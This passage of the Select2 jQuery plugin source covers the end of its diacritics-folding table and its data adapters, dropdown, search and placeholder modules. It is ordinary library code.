    '\u1E8C': 'X',
    '\u24CE': 'Y',
    '\uFF39': 'Y',
    '\u1EF2': 'Y',
    '\u00DD': 'Y',
    '\u0176': 'Y',
    '\u1EF8': 'Y',
    '\u0232': 'Y',
    '\u1E8E': 'Y',
    '\u0178': 'Y',
    '\u1EF6': 'Y',
    '\u1EF4': 'Y',
    '\u01B3': 'Y',
    '\u024E': 'Y',
    '\u1EFE': 'Y',
    '\u24CF': 'Z',
    '\uFF3A': 'Z',
    '\u0179': 'Z',
    '\u1E90': 'Z',
    '\u017B': 'Z',
    '\u017D': 'Z',
    '\u1E92': 'Z',
    '\u1E94': 'Z',
    '\u01B5': 'Z',
    '\u0224': 'Z',
    '\u2C7F': 'Z',
    '\u2C6B': 'Z',
    '\uA762': 'Z',
    '\u24D0': 'a',
    '\uFF41': 'a',
    '\u1E9A': 'a',
    '\u00E0': 'a',
    '\u00E1': 'a',
    '\u00E2': 'a',
    '\u1EA7': 'a',
    '\u1EA5': 'a',
    '\u1EAB': 'a',
    '\u1EA9': 'a',
    '\u00E3': 'a',
    '\u0101': 'a',
    '\u0103': 'a',
    '\u1EB1': 'a',
    '\u1EAF': 'a',
    '\u1EB5': 'a',
    '\u1EB3': 'a',
    '\u0227': 'a',
    '\u01E1': 'a',
    '\u00E4': 'a',
    '\u01DF': 'a',
    '\u1EA3': 'a',
    '\u00E5': 'a',
    '\u01FB': 'a',
    '\u01CE': 'a',
    '\u0201': 'a',
    '\u0203': 'a',
    '\u1EA1': 'a',
    '\u1EAD': 'a',
    '\u1EB7': 'a',
    '\u1E01': 'a',
    '\u0105': 'a',
    '\u2C65': 'a',
    '\u0250': 'a',
    '\uA733': 'aa',
    '\u00E6': 'ae',
    '\u01FD': 'ae',
    '\u01E3': 'ae',
    '\uA735': 'ao',
    '\uA737': 'au',
    '\uA739': 'av',
    '\uA73B': 'av',
    '\uA73D': 'ay',
    '\u24D1': 'b',
    '\uFF42': 'b',
    '\u1E03': 'b',
    '\u1E05': 'b',
    '\u1E07': 'b',
    '\u0180': 'b',
    '\u0183': 'b',
    '\u0253': 'b',
    '\u24D2': 'c',
    '\uFF43': 'c',
    '\u0107': 'c',
    '\u0109': 'c',
    '\u010B': 'c',
    '\u010D': 'c',
    '\u00E7': 'c',
    '\u1E09': 'c',
    '\u0188': 'c',
    '\u023C': 'c',
    '\uA73F': 'c',
    '\u2184': 'c',
    '\u24D3': 'd',
    '\uFF44': 'd',
    '\u1E0B': 'd',
    '\u010F': 'd',
    '\u1E0D': 'd',
    '\u1E11': 'd',
    '\u1E13': 'd',
    '\u1E0F': 'd',
    '\u0111': 'd',
    '\u018C': 'd',
    '\u0256': 'd',
    '\u0257': 'd',
    '\uA77A': 'd',
    '\u01F3': 'dz',
    '\u01C6': 'dz',
    '\u24D4': 'e',
    '\uFF45': 'e',
    '\u00E8': 'e',
    '\u00E9': 'e',
    '\u00EA': 'e',
    '\u1EC1': 'e',
    '\u1EBF': 'e',
    '\u1EC5': 'e',
    '\u1EC3': 'e',
    '\u1EBD': 'e',
    '\u0113': 'e',
    '\u1E15': 'e',
    '\u1E17': 'e',
    '\u0115': 'e',
    '\u0117': 'e',
    '\u00EB': 'e',
    '\u1EBB': 'e',
    '\u011B': 'e',
    '\u0205': 'e',
    '\u0207': 'e',
    '\u1EB9': 'e',
    '\u1EC7': 'e',
    '\u0229': 'e',
    '\u1E1D': 'e',
    '\u0119': 'e',
    '\u1E19': 'e',
    '\u1E1B': 'e',
    '\u0247': 'e',
    '\u025B': 'e',
    '\u01DD': 'e',
    '\u24D5': 'f',
    '\uFF46': 'f',
    '\u1E1F': 'f',
    '\u0192': 'f',
    '\uA77C': 'f',
    '\u24D6': 'g',
    '\uFF47': 'g',
    '\u01F5': 'g',
    '\u011D': 'g',
    '\u1E21': 'g',
    '\u011F': 'g',
    '\u0121': 'g',
    '\u01E7': 'g',
    '\u0123': 'g',
    '\u01E5': 'g',
    '\u0260': 'g',
    '\uA7A1': 'g',
    '\u1D79': 'g',
    '\uA77F': 'g',
    '\u24D7': 'h',
    '\uFF48': 'h',
    '\u0125': 'h',
    '\u1E23': 'h',
    '\u1E27': 'h',
    '\u021F': 'h',
    '\u1E25': 'h',
    '\u1E29': 'h',
    '\u1E2B': 'h',
    '\u1E96': 'h',
    '\u0127': 'h',
    '\u2C68': 'h',
    '\u2C76': 'h',
    '\u0265': 'h',
    '\u0195': 'hv',
    '\u24D8': 'i',
    '\uFF49': 'i',
    '\u00EC': 'i',
    '\u00ED': 'i',
    '\u00EE': 'i',
    '\u0129': 'i',
    '\u012B': 'i',
    '\u012D': 'i',
    '\u00EF': 'i',
    '\u1E2F': 'i',
    '\u1EC9': 'i',
    '\u01D0': 'i',
    '\u0209': 'i',
    '\u020B': 'i',
    '\u1ECB': 'i',
    '\u012F': 'i',
    '\u1E2D': 'i',
    '\u0268': 'i',
    '\u0131': 'i',
    '\u24D9': 'j',
    '\uFF4A': 'j',
    '\u0135': 'j',
    '\u01F0': 'j',
    '\u0249': 'j',
    '\u24DA': 'k',
    '\uFF4B': 'k',
    '\u1E31': 'k',
    '\u01E9': 'k',
    '\u1E33': 'k',
    '\u0137': 'k',
    '\u1E35': 'k',
    '\u0199': 'k',
    '\u2C6A': 'k',
    '\uA741': 'k',
    '\uA743': 'k',
    '\uA745': 'k',
    '\uA7A3': 'k',
    '\u24DB': 'l',
    '\uFF4C': 'l',
    '\u0140': 'l',
    '\u013A': 'l',
    '\u013E': 'l',
    '\u1E37': 'l',
    '\u1E39': 'l',
    '\u013C': 'l',
    '\u1E3D': 'l',
    '\u1E3B': 'l',
    '\u017F': 'l',
    '\u0142': 'l',
    '\u019A': 'l',
    '\u026B': 'l',
    '\u2C61': 'l',
    '\uA749': 'l',
    '\uA781': 'l',
    '\uA747': 'l',
    '\u01C9': 'lj',
    '\u24DC': 'm',
    '\uFF4D': 'm',
    '\u1E3F': 'm',
    '\u1E41': 'm',
    '\u1E43': 'm',
    '\u0271': 'm',
    '\u026F': 'm',
    '\u24DD': 'n',
    '\uFF4E': 'n',
    '\u01F9': 'n',
    '\u0144': 'n',
    '\u00F1': 'n',
    '\u1E45': 'n',
    '\u0148': 'n',
    '\u1E47': 'n',
    '\u0146': 'n',
    '\u1E4B': 'n',
    '\u1E49': 'n',
    '\u019E': 'n',
    '\u0272': 'n',
    '\u0149': 'n',
    '\uA791': 'n',
    '\uA7A5': 'n',
    '\u01CC': 'nj',
    '\u24DE': 'o',
    '\uFF4F': 'o',
    '\u00F2': 'o',
    '\u00F3': 'o',
    '\u00F4': 'o',
    '\u1ED3': 'o',
    '\u1ED1': 'o',
    '\u1ED7': 'o',
    '\u1ED5': 'o',
    '\u00F5': 'o',
    '\u1E4D': 'o',
    '\u022D': 'o',
    '\u1E4F': 'o',
    '\u014D': 'o',
    '\u1E51': 'o',
    '\u1E53': 'o',
    '\u014F': 'o',
    '\u022F': 'o',
    '\u0231': 'o',
    '\u00F6': 'o',
    '\u022B': 'o',
    '\u1ECF': 'o',
    '\u0151': 'o',
    '\u01D2': 'o',
    '\u020D': 'o',
    '\u020F': 'o',
    '\u01A1': 'o',
    '\u1EDD': 'o',
    '\u1EDB': 'o',
    '\u1EE1': 'o',
    '\u1EDF': 'o',
    '\u1EE3': 'o',
    '\u1ECD': 'o',
    '\u1ED9': 'o',
    '\u01EB': 'o',
    '\u01ED': 'o',
    '\u00F8': 'o',
    '\u01FF': 'o',
    '\u0254': 'o',
    '\uA74B': 'o',
    '\uA74D': 'o',
    '\u0275': 'o',
    '\u01A3': 'oi',
    '\u0223': 'ou',
    '\uA74F': 'oo',
    '\u24DF': 'p',
    '\uFF50': 'p',
    '\u1E55': 'p',
    '\u1E57': 'p',
    '\u01A5': 'p',
    '\u1D7D': 'p',
    '\uA751': 'p',
    '\uA753': 'p',
    '\uA755': 'p',
    '\u24E0': 'q',
    '\uFF51': 'q',
    '\u024B': 'q',
    '\uA757': 'q',
    '\uA759': 'q',
    '\u24E1': 'r',
    '\uFF52': 'r',
    '\u0155': 'r',
    '\u1E59': 'r',
    '\u0159': 'r',
    '\u0211': 'r',
    '\u0213': 'r',
    '\u1E5B': 'r',
    '\u1E5D': 'r',
    '\u0157': 'r',
    '\u1E5F': 'r',
    '\u024D': 'r',
    '\u027D': 'r',
    '\uA75B': 'r',
    '\uA7A7': 'r',
    '\uA783': 'r',
    '\u24E2': 's',
    '\uFF53': 's',
    '\u00DF': 's',
    '\u015B': 's',
    '\u1E65': 's',
    '\u015D': 's',
    '\u1E61': 's',
    '\u0161': 's',
    '\u1E67': 's',
    '\u1E63': 's',
    '\u1E69': 's',
    '\u0219': 's',
    '\u015F': 's',
    '\u023F': 's',
    '\uA7A9': 's',
    '\uA785': 's',
    '\u1E9B': 's',
    '\u24E3': 't',
    '\uFF54': 't',
    '\u1E6B': 't',
    '\u1E97': 't',
    '\u0165': 't',
    '\u1E6D': 't',
    '\u021B': 't',
    '\u0163': 't',
    '\u1E71': 't',
    '\u1E6F': 't',
    '\u0167': 't',
    '\u01AD': 't',
    '\u0288': 't',
    '\u2C66': 't',
    '\uA787': 't',
    '\uA729': 'tz',
    '\u24E4': 'u',
    '\uFF55': 'u',
    '\u00F9': 'u',
    '\u00FA': 'u',
    '\u00FB': 'u',
    '\u0169': 'u',
    '\u1E79': 'u',
    '\u016B': 'u',
    '\u1E7B': 'u',
    '\u016D': 'u',
    '\u00FC': 'u',
    '\u01DC': 'u',
    '\u01D8': 'u',
    '\u01D6': 'u',
    '\u01DA': 'u',
    '\u1EE7': 'u',
    '\u016F': 'u',
    '\u0171': 'u',
    '\u01D4': 'u',
    '\u0215': 'u',
    '\u0217': 'u',
    '\u01B0': 'u',
    '\u1EEB': 'u',
    '\u1EE9': 'u',
    '\u1EEF': 'u',
    '\u1EED': 'u',
    '\u1EF1': 'u',
    '\u1EE5': 'u',
    '\u1E73': 'u',
    '\u0173': 'u',
    '\u1E77': 'u',
    '\u1E75': 'u',
    '\u0289': 'u',
    '\u24E5': 'v',
    '\uFF56': 'v',
    '\u1E7D': 'v',
    '\u1E7F': 'v',
    '\u028B': 'v',
    '\uA75F': 'v',
    '\u028C': 'v',
    '\uA761': 'vy',
    '\u24E6': 'w',
    '\uFF57': 'w',
    '\u1E81': 'w',
    '\u1E83': 'w',
    '\u0175': 'w',
    '\u1E87': 'w',
    '\u1E85': 'w',
    '\u1E98': 'w',
    '\u1E89': 'w',
    '\u2C73': 'w',
    '\u24E7': 'x',
    '\uFF58': 'x',
    '\u1E8B': 'x',
    '\u1E8D': 'x',
    '\u24E8': 'y',
    '\uFF59': 'y',
    '\u1EF3': 'y',
    '\u00FD': 'y',
    '\u0177': 'y',
    '\u1EF9': 'y',
    '\u0233': 'y',
    '\u1E8F': 'y',
    '\u00FF': 'y',
    '\u1EF7': 'y',
    '\u1E99': 'y',
    '\u1EF5': 'y',
    '\u01B4': 'y',
    '\u024F': 'y',
    '\u1EFF': 'y',
    '\u24E9': 'z',
    '\uFF5A': 'z',
    '\u017A': 'z',
    '\u1E91': 'z',
    '\u017C': 'z',
    '\u017E': 'z',
    '\u1E93': 'z',
    '\u1E95': 'z',
    '\u01B6': 'z',
    '\u0225': 'z',
    '\u0240': 'z',
    '\u2C6C': 'z',
    '\uA763': 'z',
    '\u0386': '\u0391',
    '\u0388': '\u0395',
    '\u0389': '\u0397',
    '\u038A': '\u0399',
    '\u03AA': '\u0399',
    '\u038C': '\u039F',
    '\u038E': '\u03A5',
    '\u03AB': '\u03A5',
    '\u038F': '\u03A9',
    '\u03AC': '\u03B1',
    '\u03AD': '\u03B5',
    '\u03AE': '\u03B7',
    '\u03AF': '\u03B9',
    '\u03CA': '\u03B9',
    '\u0390': '\u03B9',
    '\u03CC': '\u03BF',
    '\u03CD': '\u03C5',
    '\u03CB': '\u03C5',
    '\u03B0': '\u03C5',
    '\u03C9': '\u03C9',
    '\u03C2': '\u03C3'
  };

  return diacritics;
});

S2.define('select2/data/base',[
  '../utils'
], function (Utils) {
  function BaseAdapter ($element, options) {
    BaseAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(BaseAdapter, Utils.Observable);

  BaseAdapter.prototype.current = function (callback) {
    throw new Error('The `current` method must be defined in child classes.');
  };

  BaseAdapter.prototype.query = function (params, callback) {
    throw new Error('The `query` method must be defined in child classes.');
  };

  BaseAdapter.prototype.bind = function (container, $container) {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.destroy = function () {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.generateResultId = function (container, data) {
    var id = container.id + '-result-';

    id += Utils.generateChars(4);

    if (data.id != null) {
      id += '-' + data.id.toString();
    } else {
      id += '-' + Utils.generateChars(4);
    }
    return id;
  };

  return BaseAdapter;
});

S2.define('select2/data/select',[
  './base',
  '../utils',
  'jquery'
], function (BaseAdapter, Utils, $) {
  function SelectAdapter ($element, options) {
    this.$element = $element;
    this.options = options;

    SelectAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(SelectAdapter, BaseAdapter);

  SelectAdapter.prototype.current = function (callback) {
    var data = [];
    var self = this;

    this.$element.find(':selected').each(function () {
      var $option = $(this);

      var option = self.item($option);

      data.push(option);
    });

    callback(data);
  };

  SelectAdapter.prototype.select = function (data) {
    var self = this;

    data.selected = true;

    // If data.element is a DOM node, use it instead
    if ($(data.element).is('option')) {
      data.element.selected = true;

      this.$element.trigger('change');

      return;
    }

    if (this.$element.prop('multiple')) {
      this.current(function (currentData) {
        var val = [];

        data = [data];
        data.push.apply(data, currentData);

        for (var d = 0; d < data.length; d++) {
          var id = data[d].id;

          if ($.inArray(id, val) === -1) {
            val.push(id);
          }
        }

        self.$element.val(val);
        self.$element.trigger('change');
      });
    } else {
      var val = data.id;

      this.$element.val(val);
      this.$element.trigger('change');
    }
  };

  SelectAdapter.prototype.unselect = function (data) {
    var self = this;

    if (!this.$element.prop('multiple')) {
      return;
    }

    data.selected = false;

    if ($(data.element).is('option')) {
      data.element.selected = false;

      this.$element.trigger('change');

      return;
    }

    this.current(function (currentData) {
      var val = [];

      for (var d = 0; d < currentData.length; d++) {
        var id = currentData[d].id;

        if (id !== data.id && $.inArray(id, val) === -1) {
          val.push(id);
        }
      }

      self.$element.val(val);

      self.$element.trigger('change');
    });
  };

  SelectAdapter.prototype.bind = function (container, $container) {
    var self = this;

    this.container = container;

    container.on('select', function (params) {
      self.select(params.data);
    });

    container.on('unselect', function (params) {
      self.unselect(params.data);
    });
  };

  SelectAdapter.prototype.destroy = function () {
    // Remove anything added to child elements
    this.$element.find('*').each(function () {
      // Remove any custom data set by Select2
      Utils.RemoveData(this);
    });
  };

  SelectAdapter.prototype.query = function (params, callback) {
    var data = [];
    var self = this;

    var $options = this.$element.children();

    $options.each(function () {
      var $option = $(this);

      if (!$option.is('option') && !$option.is('optgroup')) {
        return;
      }

      var option = self.item($option);

      var matches = self.matches(params, option);

      if (matches !== null) {
        data.push(matches);
      }
    });

    callback({
      results: data
    });
  };

  SelectAdapter.prototype.addOptions = function ($options) {
    Utils.appendMany(this.$element, $options);
  };

  SelectAdapter.prototype.option = function (data) {
    var option;

    if (data.children) {
      option = document.createElement('optgroup');
      option.label = data.text;
    } else {
      option = document.createElement('option');

      if (option.textContent !== undefined) {
        option.textContent = data.text;
      } else {
        option.innerText = data.text;
      }
    }

    if (data.id !== undefined) {
      option.value = data.id;
    }

    if (data.disabled) {
      option.disabled = true;
    }

    if (data.selected) {
      option.selected = true;
    }

    if (data.title) {
      option.title = data.title;
    }

    var $option = $(option);

    var normalizedData = this._normalizeItem(data);
    normalizedData.element = option;

    // Override the option's data with the combined data
    Utils.StoreData(option, 'data', normalizedData);

    return $option;
  };

  SelectAdapter.prototype.item = function ($option) {
    var data = {};

    data = Utils.GetData($option[0], 'data');

    if (data != null) {
      return data;
    }

    if ($option.is('option')) {
      data = {
        id: $option.val(),
        text: $option.text(),
        disabled: $option.prop('disabled'),
        selected: $option.prop('selected'),
        title: $option.prop('title')
      };
    } else if ($option.is('optgroup')) {
      data = {
        text: $option.prop('label'),
        children: [],
        title: $option.prop('title')
      };

      var $children = $option.children('option');
      var children = [];

      for (var c = 0; c < $children.length; c++) {
        var $child = $($children[c]);

        var child = this.item($child);

        children.push(child);
      }

      data.children = children;
    }

    data = this._normalizeItem(data);
    data.element = $option[0];

    Utils.StoreData($option[0], 'data', data);

    return data;
  };

  SelectAdapter.prototype._normalizeItem = function (item) {
    if (item !== Object(item)) {
      item = {
        id: item,
        text: item
      };
    }

    item = $.extend({}, {
      text: ''
    }, item);

    var defaults = {
      selected: false,
      disabled: false
    };

    if (item.id != null) {
      item.id = item.id.toString();
    }

    if (item.text != null) {
      item.text = item.text.toString();
    }

    if (item._resultId == null && item.id && this.container != null) {
      item._resultId = this.generateResultId(this.container, item);
    }

    return $.extend({}, defaults, item);
  };

  SelectAdapter.prototype.matches = function (params, data) {
    var matcher = this.options.get('matcher');

    return matcher(params, data);
  };

  return SelectAdapter;
});

S2.define('select2/data/array',[
  './select',
  '../utils',
  'jquery'
], function (SelectAdapter, Utils, $) {
  function ArrayAdapter ($element, options) {
    var data = options.get('data') || [];

    ArrayAdapter.__super__.constructor.call(this, $element, options);

    this.addOptions(this.convertToOptions(data));
  }

  Utils.Extend(ArrayAdapter, SelectAdapter);

  ArrayAdapter.prototype.select = function (data) {
    var $option = this.$element.find('option').filter(function (i, elm) {
      return elm.value == data.id.toString();
    });

    if ($option.length === 0) {
      $option = this.option(data);

      this.addOptions($option);
    }

    ArrayAdapter.__super__.select.call(this, data);
  };

  ArrayAdapter.prototype.convertToOptions = function (data) {
    var self = this;

    var $existing = this.$element.find('option');
    var existingIds = $existing.map(function () {
      return self.item($(this)).id;
    }).get();

    var $options = [];

    // Filter out all items except for the one passed in the argument
    function onlyItem (item) {
      return function () {
        return $(this).val() == item.id;
      };
    }

    for (var d = 0; d < data.length; d++) {
      var item = this._normalizeItem(data[d]);

      // Skip items which were pre-loaded, only merge the data
      if ($.inArray(item.id, existingIds) >= 0) {
        var $existingOption = $existing.filter(onlyItem(item));

        var existingData = this.item($existingOption);
        var newData = $.extend(true, {}, item, existingData);

        var $newOption = this.option(newData);

        $existingOption.replaceWith($newOption);

        continue;
      }

      var $option = this.option(item);

      if (item.children) {
        var $children = this.convertToOptions(item.children);

        Utils.appendMany($option, $children);
      }

      $options.push($option);
    }

    return $options;
  };

  return ArrayAdapter;
});

S2.define('select2/data/ajax',[
  './array',
  '../utils',
  'jquery'
], function (ArrayAdapter, Utils, $) {
  function AjaxAdapter ($element, options) {
    this.ajaxOptions = this._applyDefaults(options.get('ajax'));

    if (this.ajaxOptions.processResults != null) {
      this.processResults = this.ajaxOptions.processResults;
    }

    AjaxAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(AjaxAdapter, ArrayAdapter);

  AjaxAdapter.prototype._applyDefaults = function (options) {
    var defaults = {
      data: function (params) {
        return $.extend({}, params, {
          q: params.term
        });
      },
      transport: function (params, success, failure) {
        var $request = $.ajax(params);

        $request.then(success);
        $request.fail(failure);

        return $request;
      }
    };

    return $.extend({}, defaults, options, true);
  };

  AjaxAdapter.prototype.processResults = function (results) {
    return results;
  };

  AjaxAdapter.prototype.query = function (params, callback) {
    var matches = [];
    var self = this;

    if (this._request != null) {
      // JSONP requests cannot always be aborted
      if ($.isFunction(this._request.abort)) {
        this._request.abort();
      }

      this._request = null;
    }

    var options = $.extend({
      type: 'GET'
    }, this.ajaxOptions);

    if (typeof options.url === 'function') {
      options.url = options.url.call(this.$element, params);
    }

    if (typeof options.data === 'function') {
      options.data = options.data.call(this.$element, params);
    }

    function request () {
      var $request = options.transport(options, function (data) {
        var results = self.processResults(data, params);

        if (self.options.get('debug') && window.console && console.error) {
          // Check to make sure that the response included a `results` key.
          if (!results || !results.results || !$.isArray(results.results)) {
            console.error(
              'Select2: The AJAX results did not return an array in the ' +
              '`results` key of the response.'
            );
          }
        }

        callback(results);
      }, function () {
        // Attempt to detect if a request was aborted
        // Only works if the transport exposes a status property
        if ('status' in $request &&
            ($request.status === 0 || $request.status === '0')) {
          return;
        }

        self.trigger('results:message', {
          message: 'errorLoading'
        });
      });

      self._request = $request;
    }

    if (this.ajaxOptions.delay && params.term != null) {
      if (this._queryTimeout) {
        window.clearTimeout(this._queryTimeout);
      }

      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
    } else {
      request();
    }
  };

  return AjaxAdapter;
});

S2.define('select2/data/tags',[
  'jquery'
], function ($) {
  function Tags (decorated, $element, options) {
    var tags = options.get('tags');

    var createTag = options.get('createTag');

    if (createTag !== undefined) {
      this.createTag = createTag;
    }

    var insertTag = options.get('insertTag');

    if (insertTag !== undefined) {
        this.insertTag = insertTag;
    }

    decorated.call(this, $element, options);

    if ($.isArray(tags)) {
      for (var t = 0; t < tags.length; t++) {
        var tag = tags[t];
        var item = this._normalizeItem(tag);

        var $option = this.option(item);

        this.$element.append($option);
      }
    }
  }

  Tags.prototype.query = function (decorated, params, callback) {
    var self = this;

    this._removeOldTags();

    if (params.term == null || params.page != null) {
      decorated.call(this, params, callback);
      return;
    }

    function wrapper (obj, child) {
      var data = obj.results;

      for (var i = 0; i < data.length; i++) {
        var option = data[i];

        var checkChildren = (
          option.children != null &&
          !wrapper({
            results: option.children
          }, true)
        );

        var optionText = (option.text || '').toUpperCase();
        var paramsTerm = (params.term || '').toUpperCase();

        var checkText = optionText === paramsTerm;

        if (checkText || checkChildren) {
          if (child) {
            return false;
          }

          obj.data = data;
          callback(obj);

          return;
        }
      }

      if (child) {
        return true;
      }

      var tag = self.createTag(params);

      if (tag != null) {
        var $option = self.option(tag);
        $option.attr('data-select2-tag', true);

        self.addOptions([$option]);

        self.insertTag(data, tag);
      }

      obj.results = data;

      callback(obj);
    }

    decorated.call(this, params, wrapper);
  };

  Tags.prototype.createTag = function (decorated, params) {
    var term = $.trim(params.term);

    if (term === '') {
      return null;
    }

    return {
      id: term,
      text: term
    };
  };

  Tags.prototype.insertTag = function (_, data, tag) {
    data.unshift(tag);
  };

  Tags.prototype._removeOldTags = function (_) {
    var tag = this._lastTag;

    var $options = this.$element.find('option[data-select2-tag]');

    $options.each(function () {
      if (this.selected) {
        return;
      }

      $(this).remove();
    });
  };

  return Tags;
});

S2.define('select2/data/tokenizer',[
  'jquery'
], function ($) {
  function Tokenizer (decorated, $element, options) {
    var tokenizer = options.get('tokenizer');

    if (tokenizer !== undefined) {
      this.tokenizer = tokenizer;
    }

    decorated.call(this, $element, options);
  }

  Tokenizer.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    this.$search =  container.dropdown.$search || container.selection.$search ||
      $container.find('.select2-search__field');
  };

  Tokenizer.prototype.query = function (decorated, params, callback) {
    var self = this;

    function createAndSelect (data) {
      // Normalize the data object so we can use it for checks
      var item = self._normalizeItem(data);

      // Check if the data object already exists as a tag
      // Select it if it doesn't
      var $existingOptions = self.$element.find('option').filter(function () {
        return $(this).val() === item.id;
      });

      // If an existing option wasn't found for it, create the option
      if (!$existingOptions.length) {
        var $option = self.option(item);
        $option.attr('data-select2-tag', true);

        self._removeOldTags();
        self.addOptions([$option]);
      }

      // Select the item, now that we know there is an option for it
      select(item);
    }

    function select (data) {
      self.trigger('select', {
        data: data
      });
    }

    params.term = params.term || '';

    var tokenData = this.tokenizer(params, this.options, createAndSelect);

    if (tokenData.term !== params.term) {
      // Replace the search term if we have the search box
      if (this.$search.length) {
        this.$search.val(tokenData.term);
        this.$search.focus();
      }

      params.term = tokenData.term;
    }

    decorated.call(this, params, callback);
  };

  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
    var separators = options.get('tokenSeparators') || [];
    var term = params.term;
    var i = 0;

    var createTag = this.createTag || function (params) {
      return {
        id: params.term,
        text: params.term
      };
    };

    while (i < term.length) {
      var termChar = term[i];

      if ($.inArray(termChar, separators) === -1) {
        i++;

        continue;
      }

      var part = term.substr(0, i);
      var partParams = $.extend({}, params, {
        term: part
      });

      var data = createTag(partParams);

      if (data == null) {
        i++;
        continue;
      }

      callback(data);

      // Reset the term to not include the tokenized portion
      term = term.substr(i + 1) || '';
      i = 0;
    }

    return {
      term: term
    };
  };

  return Tokenizer;
});

S2.define('select2/data/minimumInputLength',[

], function () {
  function MinimumInputLength (decorated, $e, options) {
    this.minimumInputLength = options.get('minimumInputLength');

    decorated.call(this, $e, options);
  }

  MinimumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (params.term.length < this.minimumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooShort',
        args: {
          minimum: this.minimumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MinimumInputLength;
});

S2.define('select2/data/maximumInputLength',[

], function () {
  function MaximumInputLength (decorated, $e, options) {
    this.maximumInputLength = options.get('maximumInputLength');

    decorated.call(this, $e, options);
  }

  MaximumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (this.maximumInputLength > 0 &&
        params.term.length > this.maximumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooLong',
        args: {
          maximum: this.maximumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MaximumInputLength;
});

S2.define('select2/data/maximumSelectionLength',[

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }
        decorated.call(self, params, callback);
      });
  };

  return MaximumSelectionLength;
});

S2.define('select2/dropdown',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Dropdown ($element, options) {
    this.$element = $element;
    this.options = options;

    Dropdown.__super__.constructor.call(this);
  }

  Utils.Extend(Dropdown, Utils.Observable);

  Dropdown.prototype.render = function () {
    var $dropdown = $(
      '<span class="select2-dropdown">' +
        '<span class="select2-results"></span>' +
      '</span>'
    );

    $dropdown.attr('dir', this.options.get('dir'));

    this.$dropdown = $dropdown;

    return $dropdown;
  };

  Dropdown.prototype.bind = function () {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.position = function ($dropdown, $container) {
    // Should be implmented in subclasses
  };

  Dropdown.prototype.destroy = function () {
    // Remove the dropdown from the DOM
    this.$dropdown.remove();
  };

  return Dropdown;
});

S2.define('select2/dropdown/search',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function Search () { }

  Search.prototype.render = function (decorated) {
    var $rendered = decorated.call(this);

    var $search = $(
      '<span class="select2-search select2-search--dropdown">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" />' +
      '</span>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    $rendered.prepend($search);

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    this.$search.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();
    });

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$search.on('input', function (evt) {
      // Unbind the duplicated `keyup` event
      $(this).off('keyup');
    });

    this.$search.on('keyup input', function (evt) {
      self.handleSearch(evt);
    });

    container.on('open', function () {
      self.$search.attr('tabindex', 0);

      self.$search.focus();

      window.setTimeout(function () {
        self.$search.focus();
      }, 0);
    });

    container.on('close', function () {
      self.$search.attr('tabindex', -1);

      self.$search.val('');
      self.$search.blur();
    });

    container.on('focus', function () {
      if (!container.isOpen()) {
        self.$search.focus();
      }
    });

    container.on('results:all', function (params) {
      if (params.query.term == null || params.query.term === '') {
        var showSearch = self.showSearch(params);

        if (showSearch) {
          self.$searchContainer.removeClass('select2-search--hide');
        } else {
          self.$searchContainer.addClass('select2-search--hide');
        }
      }
    });
  };

  Search.prototype.handleSearch = function (evt) {
    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.showSearch = function (_, params) {
    return true;
  };

  return Search;
});

S2.define('select2/dropdown/hidePlaceholder',[

], function () {
  function HidePlaceholder (decorated, $element, options, dataAdapter) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options, dataAdapter);
  }

  HidePlaceholder.prototype.append = function (decorated, data) {
    data.results = this.removePlaceholder(data.results);

    decorated.call(this, data);
  };

  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  HidePlaceholder.prototype.removePlaceholder = function (_, data) {
    var modifiedData = data.slice(0);

    for (var d = data.length - 1; d >= 0; d--) {
      var item = data[d];

      if (this.placeholder.id === item.id) {
        modifiedData.splice(d, 1);
      }
    }

    return modifiedData;
  };

  return HidePlaceholder;
});

S2.define('select2/dropdown/infiniteScroll',[
  'jquery'
], function ($) {
  function InfiniteScroll (decorated, $element, options, dataAdapter) {
    this.lastParams = {};

    decorated.call(this, $element, options, dataAdapter);

    this.$loadingMore = this.createLoadingMore();
    this.loading = false;
  }

  InfiniteScroll.prototype.append = function (decorated, data) {
    this.$loadingMore.remove();
    this.loading = false;

    decorated.call(this, data);

    if (this.showLoadingMore(data)) {
